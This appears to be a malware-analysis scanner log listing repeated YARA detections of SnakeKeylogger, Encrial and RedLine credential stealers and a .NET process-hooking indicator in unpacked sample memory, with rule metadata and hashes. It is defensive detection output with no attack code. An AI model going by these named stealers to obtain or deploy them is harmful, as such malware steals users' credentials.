Source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 12.2.Aiymwhpj.PIF.211f67a8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.1.jphwmyiA.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.brightness.exe.215f2418.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.brightness.exe.21659f78.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.1.jphwmyiA.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.jphwmyiA.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.Aiymwhpj.PIF.212333d8.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.1.jphwmyiA.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
